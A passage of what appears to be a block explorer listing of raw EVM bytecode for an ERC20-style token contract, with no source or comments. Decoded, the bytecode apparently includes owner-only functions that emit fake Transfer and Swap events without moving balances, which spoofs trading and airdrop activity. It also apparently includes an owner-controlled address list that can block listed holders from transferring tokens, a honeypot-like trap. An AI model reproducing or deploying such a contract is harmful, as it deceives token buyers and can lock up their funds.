01906102c49190611ed7565b61089a565b005b6102e560048036038101906102e09190611d82565b610947565b005b61030160048036038101906102fc9190611e20565b610b7b565b60405161030e9190611e05565b60405180910390f35b610331600480360381019061032c9190611f7a565b610bc4565b005b61033b610cba565b005b61035760048036038101906103529190611ed7565b610cce565b005b610373600480360381019061036e9190611d82565b610e58565b005b61037d610fe4565b60405161038a919061203d565b60405180910390f35b61039b61100d565b6040516103a89190611be7565b60405180910390f35b6103cb60048036038101906103c69190611d82565b61109f565b005b6103e760048036038101906103e29190611ca7565b61122a565b6040516103f49190611d02565b60405180910390f35b61041760048036038101906104129190611ca7565b6112a1565b6040516104249190611d02565b60405180910390f35b61044760048036038101906104429190611e4d565b6112c4565b005b610463600480360381019061045e9190612058565b61132e565b6040516104709190611e05565b60405180910390f35b610493600480360381019061048e9190611e20565b6113b5565b005b6060600680546104a4906120c7565b80601f01602080910402602001604051908101604052809291908181526020018280546104d0906120c7565b801561051d5780601f106104f25761010080835404028352916020019161051d565b820191906000526020600020905b81548152906001019060200180831161050057829003601f168201915b5050505050905090565b600080610532611438565b905061053f818585611440565b600191505092915050565b60005b848490508110156107785784848281811061056b5761056a6120f8565b5b90506020020160208101906105809190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610606949392919061216c565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061065a576106596120f8565b5b905060200201602081019061066f9190611e20565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106b49190611e05565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161075d9190611e05565b60405180910390a38080610770906121e0565b91505061054d565b5050505050565b6000600454905090565b610791611609565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806107e0611438565b90506107ed858285611687565b6107f8858585611713565b60019150509392505050565b60006012905090565b600080610818611438565b905061083981858561082a858961132e565b6108349190612228565b611440565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6108a2611609565b60005b82829050811015610942576000600260008585858181106108c9576108c86120f8565b5b90506020020160208101906108de9190611e20565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061093a906121e0565b9150506108a5565b505050565b60005b84849050811015610b7457848482818110610968576109676120f8565b5b905060200201602081019061097d9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610a02949392919061225c565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610aab9190611e05565b60405180910390a3848482818110610ac657610ac56120f8565b5b9050602002016020810190610adb9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b599190611e05565b60405180910390a38080610b6c906121e0565b91505061094a565b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610cb157848482818110610be557610be46120f8565b5b9050602002016020810190610bfa9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610c2357610c226120f8565b5b9050602002016020810190610c389190611e20565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610c8257610c816120f8565b5b90506020020135604051610c969190611e05565b60405180910390a38080610ca9906121e0565b915050610bc7565b50505050505050565b610cc2611609565b610ccc6000611a89565b565b610cd6611609565b60005b82829050811015610e5357600160026000858585818110610cfd57610cfc6120f8565b5b9050602002016020810190610d129190611e20565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610daf57610dae6120f8565b5b9050602002016020810190610dc49190611e20565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610e2b868686818110610e1157610e106120f8565b5b9050602002016020810190610e269190611e20565b610b7b565b604051610e389190611e05565b60405180910390a38080610e4b906121e0565b915050610cd9565b505050565b60005b84849050811015610fdd57848482818110610e7957610e786120f8565b5b9050602002016020810190610e8e9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610f14949392919061216c565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610f6857610f676120f8565b5b9050602002016020810190610f7d9190611e20565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fc29190611e05565b60405180910390a38080610fd5906121e0565b915050610e5b565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461101c906120c7565b80601f0160208091040260200160405190810160405280929190818152602001828054611048906120c7565b80156110955780601f1061106a57610100808354040283529160200191611095565b820191906000526020600020905b81548152906001019060200180831161107857829003601f168201915b5050505050905090565b60005b84849050811015611223578484828181106110c0576110bf6120f8565b5b90506020020160208101906110d59190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822856000808760405161115a949392919061225c565b60405180910390a3848482818110611175576111746120f8565b5b905060200201602081019061118a9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112089190611e05565b60405180910390a3808061121b906121e0565b9150506110a2565b5050505050565b600080611235611438565b90506000611243828661132e565b905083811015611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f90612313565b60405180910390fd5b6112958286868403611440565b60019250505092915050565b6000806112ac611438565b90506112b9818585611713565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113219190611e05565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113bd611609565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361142c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611423906123a5565b60405180910390fd5b61143581611a89565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a690612437565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361151e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611515906124c9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115fc9190611e05565b60405180910390a3505050565b611611611438565b73ffffffffffffffffffffffffffffffffffffffff1661162f610fe4565b73ffffffffffffffffffffffffffffffffffffffff1614611685576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167c90612535565b60405180910390fd5b565b6000611693848461132e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461170d57818110156116ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f6906125a1565b60405180910390fd5b61170c8484848403611440565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177990612633565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e8906126c5565b60405180910390fd5b6117fc838383611b4d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90612757565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119b75750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a135760011515600560009054906101000a900460ff16151514611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a099061279d565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a709190611e05565b60405180910390a3611a83848484611b52565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b91578082015181840152602081019050611b76565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bb982611b57565b611bc38185611b62565b9350611bd3818560208601611b73565b611bdc81611b9d565b840191505092915050565b60006020820190508181036000830152611c018184611bae565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c3e82611c13565b9050919050565b611c4e81611c33565b8114611c5957600080fd5b50565b600081359050611c6b81611c45565b92915050565b6000819050919050565b611c8481611c71565b8114611c8f57600080fd5b50565b600081359050611ca181611c7b565b92915050565b60008060408385031215611cbe57611cbd611c09565b5b6000611ccc85828601611c5c565b9250506020611cdd85828601611c92565b9150509250929050565b60008115159050919050565b611cfc81611ce7565b82525050565b6000602082019050611d176000830184611cf3565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611d4257611d41611d1d565b5b8235905067ffffffffffffffff811115611d5f57611d5e611d22565b5b602083019150836020820283011115611d7b57611d7a611d27565b5b9250929050565b60008060008060608587031215611d9c57611d9b611c09565b5b600085013567ffffffffffffffff811115611dba57611db9611c0e565b5b611dc687828801611d2c565b94509450506020611dd987828801611c92565b9250506040611dea87828801611c92565b91505092959194509250565b611dff81611c71565b82525050565b6000602082019050611e1a6000830184611df6565b92915050565b600060208284031215611e3657611e35611c09565b5b6000611e4484828501611c5c565b91505092915050565b600080600060608486031215611e6657611e65611c09565b5b6000611e7486828701611c5c565b9350506020611e8586828701611c5c565b9250506040611e9686828701611c92565b9150509250925092565b600060ff82169050919050565b611eb681611ea0565b82525050565b6000602082019050611ed16000830184611ead565b92915050565b60008060208385031215611eee57611eed611c09565b5b600083013567ffffffffffffffff811115611f0c57611f0b611c0e565b5b611f1885828601611d2c565b92509250509250929050565b60008083601f840112611f3a57611f39611d1d565b5b8235905067ffffffffffffffff811115611f5757611f56611d22565b5b602083019150836020820283011115611f7357611f72611d27565b5b9250929050565b60008060008060008060608789031215611f9757611f96611c09565b5b600087013567ffffffffffffffff811115611fb557611fb4611c0e565b5b611fc189828a01611d2c565b9650965050602087013567ffffffffffffffff811115611fe457611fe3611c0e565b5b611ff089828a01611d2c565b9450945050604087013567ffffffffffffffff81111561201357612012611c0e565b5b61201f89828a01611f24565b92509250509295509295509295565b61203781611c33565b82525050565b6000602082019050612052600083018461202e565b92915050565b6000806040838503121561206f5761206e611c09565b5b600061207d85828601611c5c565b925050602061208e85828601611c5c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120df57607f821691505b6020821081036120f2576120f1612098565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061215661215161214c84612127565b612131565b611c71565b9050919050565b6121668161213b565b82525050565b6000608082019050612181600083018761215d565b61218e6020830186611df6565b61219b6040830185611df6565b6121a8606083018461215d565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006121eb82611c71565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361221d5761221c6121b1565b5b600182019050919050565b600061223382611c71565b915061223e83611c71565b9250828201905080821115612256576122556121b1565b5b92915050565b60006080820190506122716000830187611df6565b61227e602083018661215d565b61228b604083018561215d565b6122986060830184611df6565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006122fd602583611b62565b9150612308826122a1565b604082019050919050565b6000602082019050818103600083015261232c816122f0565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061238f602683611b62565b915061239a82612333565b604082019050919050565b600060208201905081810360008301526123be81612382565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612421602483611b62565b915061242c826123c5565b604082019050919050565b6000602082019050818103600083015261245081612414565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006124b3602283611b62565b91506124be82612457565b604082019050919050565b600060208201905081810360008301526124e2816124a6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061251f602083611b62565b915061252a826124e9565b602082019050919050565b6000602082019050818103600083015261254e81612512565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061258b601d83611b62565b915061259682612555565b602082019050919050565b600060208201905081810360008301526125ba8161257e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061261d602583611b62565b9150612628826125c1565b604082019050919050565b6000602082019050818103600083015261264c81612610565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006126af602383611b62565b91506126ba82612653565b604082019050919050565b600060208201905081810360008301526126de816126a2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612741602683611b62565b915061274c826126e5565b604082019050919050565b6000602082019050818103600083015261277081612734565b9050919050565b50565b6000612787600083611b62565b915061279282612777565b600082019050919050565b600060208201905081810360008301526127b68161277a565b905091905056fea2646970667358221220fb722058104f983a5bad3986dc6072a14d4614538fc61b91fe2a8eca13a4e0ce64736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101585760003560e01c80637111a994116100c3578063a1c617f51161007c578063a1c617f5146103b1578063a457c2d7146103cd578063a9059cbb146103fd578063beabacc81461042d578063dd62ed3e14610449578063f2fde38b1461047957610158565b80637111a99414610317578063715018a61461033357806377a1736b1461033d5780637aac697b146103595780638da5cb5b1461037557806395d89b411461039357610158565b8063313ce56711610115578063313ce56714610231578063395093511461024f5780633e5beab91461027f578063477e1944146102af57806356cbfdcf146102cb57806370a08231146102e757610158565b806306fdde031461015d578063095ea7b31461017b5780630ca12b3d146101ab57806318160ddd146101c757806319ab453c146101e557806323b872dd14610201575b600080fd5b610165610495565b6040516101729190611be7565b60405180910390f35b61019560048036038101906101909190611ca7565b610527565b6040516101a29190611d02565b60405180910390f35b6101c560048036038101906101c09190611d82565b61054a565b005b6101cf61077f565b6040516101dc9190611e05565b60405180910390f35b6101ff60048036038101906101fa9190611e20565b610789565b005b61021b60048036038101906102169190611e4d565b6107d5565b6040516102289190611d02565b60405180910390f35b610239610804565b6040516102469190611ebc565b60405180910390f35b61026960048036038101906102649190611ca7565b61080d565b6040516102769190611d02565b60405180910390f35b61029960048036038101906102949190611e20565b610844565b6040516102a69190611d02565b60405180910390f35b6102c960048036038101906102c49190611ed7565b61089a565b005b6102e560048036038101906102e09190611d82565b610947565b005b61030160048036038101906102fc9190611e20565b610b7b565b60405161030e9190611e05565b60405180910390f35b610331600480360381019061032c9190611f7a565b610bc4565b005b61033b610cba565b005b61035760048036038101906103529190611ed7565b610cce565b005b610373600480360381019061036e9190611d82565b610e58565b005b61037d610fe4565b60405161038a919061203d565b60405180910390f35b61039b61100d565b6040516103a89190611be7565b60405180910390f35b6103cb60048036038101906103c69190611d82565b61109f565b005b6103e760048036038101906103e29190611ca7565b61122a565b6040516103f49190611d02565b60405180910390f35b61041760048036038101906104129190611ca7565b6112a1565b6040516104249190611d02565b60405180910390f35b61044760048036038101906104429190611e4d565b6112c4565b005b610463600480360381019061045e9190612058565b61132e565b6040516104709190611e05565b60405180910390f35b610493600480360381019061048e9190611e20565b6113b5565b005b6060600680546104a4906120c7565b80601f01602080910402602001604051908101604052809291908181526020018280546104d0906120c7565b801561051d5780601f106104f25761010080835404028352916020019161051d565b820191906000526020600020905b81548152906001019060200180831161050057829003601f168201915b5050505050905090565b600080610532611438565b905061053f818585611440565b600191505092915050565b60005b848490508110156107785784848281811061056b5761056a6120f8565b5b90506020020160208101906105809190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610606949392919061216c565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685858381811061065a576106596120f8565b5b905060200201602081019061066f9190611e20565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516106b49190611e05565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161075d9190611e05565b60405180910390a38080610770906121e0565b91505061054d565b5050505050565b6000600454905090565b610791611609565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806107e0611438565b90506107ed858285611687565b6107f8858585611713565b60019150509392505050565b60006012905090565b600080610818611438565b905061083981858561082a858961132e565b6108349190612228565b611440565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6108a2611609565b60005b82829050811015610942576000600260008585858181106108c9576108c86120f8565b5b90506020020160208101906108de9190611e20565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061093a906121e0565b9150506108a5565b505050565b60005b84849050811015610b7457848482818110610968576109676120f8565b5b905060200201602081019061097d9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228560008087604051610a02949392919061225c565b60405180910390a3600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610aab9190611e05565b60405180910390a3848482818110610ac657610ac56120f8565b5b9050602002016020810190610adb9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b599190611e05565b60405180910390a38080610b6c906121e0565b91505061094a565b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610cb157848482818110610be557610be46120f8565b5b9050602002016020810190610bfa9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610c2357610c226120f8565b5b9050602002016020810190610c389190611e20565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610c8257610c816120f8565b5b90506020020135604051610c969190611e05565b60405180910390a38080610ca9906121e0565b915050610bc7565b50505050505050565b610cc2611609565b610ccc6000611a89565b565b610cd6611609565b60005b82829050811015610e5357600160026000858585818110610cfd57610cfc6120f8565b5b9050602002016020810190610d129190611e20565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610daf57610dae6120f8565b5b9050602002016020810190610dc49190611e20565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610e2b868686818110610e1157610e106120f8565b5b9050602002016020810190610e269190611e20565b610b7b565b604051610e389190611e05565b60405180910390a38080610e4b906121e0565b915050610cd9565b505050565b60005b84849050811015610fdd57848482818110610e7957610e786120f8565b5b9050602002016020810190610e8e9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610f14949392919061216c565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610f6857610f676120f8565b5b9050602002016020810190610f7d9190611e20565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fc29190611e05565b60405180910390a38080610fd5906121e0565b915050610e5b565b5050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461101c906120c7565b80601f0160208091040260200160405190810160405280929190818152602001828054611048906120c7565b80156110955780601f1061106a57610100808354040283529160200191611095565b820191906000526020600020905b81548152906001019060200180831161107857829003601f168201915b5050505050905090565b60005b84849050811015611223578484828181106110c0576110bf6120f8565b5b90506020020160208101906110d59190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822856000808760405161115a949392919061225c565b60405180910390a3848482818110611175576111746120f8565b5b905060200201602081019061118a9190611e20565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112089190611e05565b60405180910390a3808061121b906121e0565b9150506110a2565b5050505050565b600080611235611438565b90506000611243828661132e565b905083811015611288576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127f90612313565b60405180910390fd5b6112958286868403611440565b60019250505092915050565b6000806112ac611438565b90506112b9818585611713565b600191505092915050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113219190611e05565b60405180910390a3505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113bd611609565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361142c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611423906123a5565b60405180910390fd5b61143581611a89565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a690612437565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361151e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611515906124c9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115fc9190611e05565b60405180910390a3505050565b611611611438565b73ffffffffffffffffffffffffffffffffffffffff1661162f610fe4565b73ffffffffffffffffffffffffffffffffffffffff1614611685576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167c90612535565b60405180910390fd5b565b6000611693848461132e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461170d57818110156116ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f6906125a1565b60405180910390fd5b61170c8484848403611440565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611782576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177990612633565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e8906126c5565b60405180910390fd5b6117fc838383611b4d565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90612757565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119b75750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a135760011515600560009054906101000a900460ff16151514611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a099061279d565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a709190611e05565b60405180910390a3611a83848484611b52565b50505050565b